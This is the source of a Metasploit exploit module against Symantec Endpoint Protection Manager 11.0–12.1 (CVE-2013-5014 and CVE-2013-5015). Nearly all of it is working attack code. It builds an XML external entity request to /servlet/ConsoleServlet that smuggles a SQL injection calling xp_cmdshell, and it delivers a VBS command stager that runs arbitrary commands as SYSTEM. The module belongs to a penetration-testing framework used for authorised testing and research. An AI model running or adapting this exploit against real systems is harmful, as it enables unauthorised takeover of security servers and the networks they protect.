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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include REXML
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution',
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      'Description'    => %q{
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        This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
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        versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
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        can reach SQL injection affected components. As xp_cmdshell is enabled in the included
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        database instance, it's possible to execute arbitrary system commands on the target
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        with SYSTEM privileges.
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      },
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      'Author'         =>
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        [
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          'Stefan Viehbock', # Discovery
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          'Chris Graham', # PoC exploit
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          'xistence <xistence[at]0x90.nl>' # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2013-5014'],
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          ['CVE', '2013-5015'],
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          ['OSVDB', '103305'],
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          ['OSVDB', '103306'],
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          ['EDB', '31853'],
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          ['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt']
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        ],
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      'Arch'           => ARCH_X86,
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows VBS Stager', {}]
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2014-02-24',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(9090),
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        OptString.new('TARGETURI', [true, 'The base path', '/'])
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      ])
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    deregister_options('CMDSTAGER::FLAVOR')
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  end
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  def check
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    res = send_request_cgi(
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      {
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        'uri'   =>  normalize_uri(target_uri.path),
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        'method' => 'GET',
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      })
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    if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
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      return Exploit::CheckCode::Appears
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Sending payload")
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    # Execute the cmdstager, max length of the commands is ~3950
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    execute_cmdstager({:flavor => :vbs, :linemax => 3950})
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  end
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  def execute_command(cmd, opts = {})
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    # Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
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    command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
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    # Generate random 'xx032xxxx' sequence number.
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    seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
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    soap = soap_request(seqnum, command)
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    post_data = Rex::MIME::Message.new
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    post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
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    xxe = post_data.to_s
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    res = send_request_cgi(
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      {
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        'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
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        'method' => 'POST',
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        'vars_get' => { 'ActionType' => 'ConsoleLog' },
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        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
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        'data' => xxe,
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      })
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    if res and res.body !~ /ResponseCode/
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      fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
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    end
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  end
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  def soap_request(seqnum, command)
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    randpayload = rand_text_alpha(8+rand(8))
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    randxxe = rand_text_alpha(8+rand(8))
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    entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"
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    entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
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    xml = Document.new
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    xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
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    xml.add_element("Request")
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    xxe = xml.root.add_element(randxxe)
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    xxe.text = "PAYLOAD"
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    xml_s = xml.to_s
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    xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
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    xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding
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    xml_s
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  end
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end
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